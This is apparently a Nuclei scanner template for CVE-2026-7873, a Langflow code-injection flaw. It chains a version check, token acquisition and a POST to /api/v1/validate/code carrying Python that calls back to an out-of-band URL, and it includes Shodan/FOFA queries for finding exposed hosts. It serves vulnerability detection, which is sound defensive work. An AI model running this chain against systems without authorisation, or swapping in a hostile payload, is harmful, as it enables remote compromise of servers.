id: CVE-2026-7873 info: name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution author: 0x_Akoko,pdteam severity: critical description: | IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication. impact: | Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement. remediation: | Update to the latest version beyond 1.10.0. reference: - https://www.ibm.com/support/pages/node/7278441 - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb - https://github.com/rmhowe425/POC-CVE-2026-7873 - https://nvd.nist.gov/vuln/detail/CVE-2026-7873 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-7873 epss-score: 0.06211 epss-percentile: 0.93556 cwe-id: CWE-94 metadata: verified: true max-request: 4 product: langflow vendor: langflow-ai shodan-query: 'http.title:"Langflow"' fofa-query: 'title="Langflow"' tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev flow: | http(1); let inRange = false; if (template["langflow_version"] && template["langflow_package"]) { let p = String(template["langflow_version"]).split("."); let major = parseInt(p[0], 10); let minor = parseInt(p[1], 10); let patch = parseInt(p[2], 10); if (isNaN(patch)) { patch = 0; } if (!isNaN(major) && !isNaN(minor)) { let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2)); let atMost = (major === 1) && (minor < 10 || (minor === 10 && patch === 0)); inRange = atLeast && atMost; } } if (inRange) { let token = ""; http(2); if (template["auto_token"]) { token = template["auto_token"]; } if (!token) { http(3); if (template["login_token"]) { token = template["login_token"]; } } if (token) { set("auth_token", token); http(4); } } http: - raw: - | GET /api/v1/version HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: langflow_version internal: true part: body group: 1 regex: - '"version"\s*:\s*"([0-9][^"]*)"' - type: regex name: langflow_package internal: true part: body group: 1 regex: - '"package"\s*:\s*"([Ll]angflow)"' - raw: - | GET /api/v1/auto_login HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: auto_token internal: true part: body group: 1 regex: - '"access_token"\s*:\s*"([^"]+)"' - raw: - | POST /api/v1/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} extractors: - type: regex name: login_token internal: true part: body group: 1 regex: - '"access_token"\s*:\s*"([^"]+)"' - raw: - | POST /api/v1/validate/code HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{auth_token}} {"code": "@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\ndef langflow_check():\n pass"} matchers: - type: dsl dsl: - 'contains_any(interactsh_protocol, "dns", "http")' # digest: 490a0046304402205d9889ea02208e6ebaa998bed6e3285b6df3f93ed8fb00f0db8bb7f1925021f402206bd6ee70ad80177a907f8fe4cebc11adc2e2c08d3ad2a50557dc7bbaeac198a1:922c64590222798bb761d5b6d8e72950